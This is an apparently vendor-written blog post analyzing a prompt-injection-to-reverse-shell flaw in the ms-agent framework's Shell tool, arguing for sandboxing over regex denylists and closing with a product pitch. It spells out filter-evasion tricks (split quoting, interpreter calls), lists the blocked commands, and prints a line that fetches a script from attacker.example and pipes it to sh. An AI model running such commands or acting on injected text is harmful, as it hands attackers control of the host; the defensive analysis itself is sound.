Skip to main content

A 'Medium' CVE Popped a Full Reverse Shell: What ms-agent's Six-Layer Regex Bypass Teaches About Agent Sandboxing

8 min readDora NodaDora Noda
Share
On this page

CVE-2026-2256 carries a CVSS score of 6.5 — "Medium." The proof-of-concept for the same bug is a working reverse shell, popped through an AI agent's own tool-calling loop with zero direct system access. That gap is the story.

The vulnerability sits in the Shell tool of ModelScope's ms-agent, an open-source framework for building AI agents, affecting version 1.6.0rc1 and everything before it. Before executing any command an agent generated, the Shell tool ran it through check_safe() — six sequential validation layers meant to keep an agent from running anything dangerous. All six were text-matching rules applied to the raw command string, before the shell ever parsed it. An attacker who could get crafted text in front of the agent — a prompt, a document, a log line it was asked to summarize — could write a command that read as safe to every regex and read as something else entirely to /bin/sh. SecurityWeek and CERT/CC's VU#431821 both describe the resulting impact as full host compromise at the privilege level of the agent process. NVD and CERT/CC's own CVSS v3.1 vectorAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — scores the confidentiality and integrity impact as merely "Low" and availability as "None," landing at 6.5.

That's not a scoring error. It's a category mismatch. CVSS scores what a vulnerability guarantees an attacker, evaluated against the component in isolation. It does not — cannot — score what the compromised process is actually trusted to touch next. For a web form field, "Low confidentiality impact" might be accurate. For an AI agent's shell tool running with the agent's own filesystem access, API keys, and network reach, "Low" is a category error the score has no way to express. The real severity lived in what came after the injection, not in the injection point itself.

The Six Checks, and What They Actually Blocked

check_safe(), as reconstructed from the public proof-of-concept and independent write-ups, ran a command string through six layers before letting it reach the shell:

LayerWhat it checked for
1. Output directory enforcementRestricts filesystem writes to a predefined working directory
2. Dangerous commands blacklistBlocks literal matches like sudo, rm -rf, chmod, curl | bash
3. Path traversal detectionRejects .., leading /, ~, $HOME
4. Dangerous redirection protectionBlocks writes targeting /etc or other system paths
5. Environment variable hardeningBlocks PATH and LD_PRELOAD reassignment
6. Command substitution inspectionRecursively scans $(...) and backtick substitutions

Read individually, each layer looks reasonable — it's the kind of checklist a team writes when a security review asks "what could go wrong with letting an agent run shell commands." Read together, the six layers still add up to a denylist: a finite list of strings and patterns judged dangerous, checked against a command before the shell gets to interpret it. Nothing in that list accounts for the difference between what a regex sees and what a shell executes.

The Bypass: Two Techniques, Neither Exotic

The technical write-up documenting the exploit chain lists the bypasses that got past all six layers, and none of them required novel research — they're standard shell-obfuscation techniques any penetration tester would reach for first.

Quoted substring reconstruction. Layer 2's blacklist matches literal strings like chmod. The shell doesn't require a command name to appear as one unbroken token — c"h"m"o"d +x test.sh parses and executes identically to chmod +x test.sh, because adjacent quoted and unquoted fragments concatenate before the shell resolves the command name. The regex sees c"h"m"o"d, not chmod, and passes it straight through. The same trick works with escaped characters, variable-expansion tricks, and other forms of runtime string reassembly the shell performs after the validator has already signed off.

Trusted interpreter execution. The blacklist targets shell primitives — sudo, rm, curl | bash — but says nothing about python3, perl, ruby, or node. None of those are inherently "dangerous commands" in the way rm -rf / is, so none of them tripped layer 2. But an interpreter is a general-purpose execution environment, and:

text
python3 -c "import os; os.system('curl http://attacker.example/shell.sh | sh')"

...is not a shell command the denylist recognizes as a threat. It's "run Python," which the agent was presumably allowed to do for legitimate scripting tasks. The proof-of-concept demonstrates a full reverse shell built entirely on this path — Python spawning a socket connection back to an attacker-controlled listener — without touching a single blacklisted token.

The attack chain end to end: attacker-controlled text lands somewhere the agent reads (a document it's asked to summarize, a log line it's asked to triage, a search result it's asked to synthesize) → the agent's own reasoning decides the Shell tool is the right way to act on it → check_safe() evaluates the resulting command string and finds no blacklisted pattern → the shell parses and executes something structurally different from what the regex evaluated → the attacker has code execution at the agent process's privilege level, with whatever filesystem access and credentials that process was carrying.

Why This Wasn't a Fixable Bug in the Regex

It's tempting to read this as "the denylist was incomplete — add python3, perl, ruby to layer 2, close the quoting trick, ship a patch." That's the wrong lesson, and it's why ms-agent's actual fix didn't take that shape.

A denylist checks a finite set of known-bad patterns against a string. A shell's grammar — quoting, escaping, substitution, variable expansion, here-documents, process substitution, the entire space of ways to make one string of bytes mean something other than its literal reading — is not finite in the way a pattern list is. Every interpreter you fail to blacklist is a bypass. Every quoting trick you fail to anticipate is a bypass. You are not closing a bug; you are playing an unwinnable game against every shell feature that exists and every one that gets added later. This is exactly the structural failure CWE-77 (Improper Neutralization of Special Elements used in a Command) describes, and it's the same shape of failure a completely different codebase hit two months earlier — Microsoft disclosed two prompt-injection-to-RCE CVEs in Semantic Kernel on May 7, 2026 (CVE-2026-25592, CVE-2026-26030, both CVSS 9.9), where a single injected prompt reached arbitrary code execution through an internal helper method mistakenly exposed as a callable kernel function. Different vendor, different mechanism, same category error: validating or gating at the framework layer instead of enforcing a boundary the untrusted input can't reason its way past.

Validating a command string before the shell interprets it can catch the bugs you thought of. It cannot be the isolation boundary, because the string and what the shell does with it are not the same object, and a regex only ever sees the string.

The Actual Fix: Delete the Shell Tool, Add a Sandbox

ms-agent's v1.6.0 release, shipped March 23, 2026, didn't patch check_safe(). It removed the vulnerable Shell tool entirely and migrated the framework's Code Genesis project code execution to a sandboxed environment, alongside adding a SECURITY.md with vulnerability-disclosure guidelines. The maintainers' own fix concedes the point: there was no version of the regex worth shipping. The only fix that closes the actual gap is moving execution behind a boundary that isolates the command's real effects — filesystem, network, process — regardless of what string produced them, instead of trying to pre-judge the string.

That's a materially different guarantee. A sandbox (a container, a microVM, a gVisor or Kata runtime) doesn't need to recognize python3 -c "os.system(...)" as dangerous. It just needs to be a boundary the executed code can't get past no matter what it is — the isolation doesn't care whether the payload was blacklisted, quoted, substring-reconstructed, or something nobody has thought of yet.

What It Means for Any Platform Handing an Agent Shell Access

Bex.co's own roadmap includes agent-facing tooling — an MCP server an AI agent calls to deploy, roll back, and operate a tenant's app, the same "agent as first-class operator" model this incident stress-tests. The lesson from CVE-2026-2256 isn't specific to ms-agent's codebase; it's a design constraint for anyone building that surface: the boundary between "what an agent can influence" and "what the agent process can actually do to the host" has to be a real isolation primitive — a container, a microVM, a scoped credential — never a validator reading the command before a shell interprets it. A regex is software's opinion about a string. A sandbox is a guarantee about what a process can touch, independent of any opinion about the string that produced it. Only the second kind of boundary survives contact with a shell grammar, a permissive interpreter, or the next obfuscation nobody's blacklisted yet.

Bex.co is the open-source, AI-native Render alternative — push a git repo, get a running HTTPS service on machines you own, with an agent-facing API designed around real isolation boundaries rather than input validation. Star the repo on GitHub or deploy your first app today.

Sources

All figures and technical details cited above are drawn directly from the linked sources.

Related articles

Give your agents a chain backend

Autonomous agents hit RPC endpoints very differently than people do. See what bex router handles on their behalf.

Read the agents guide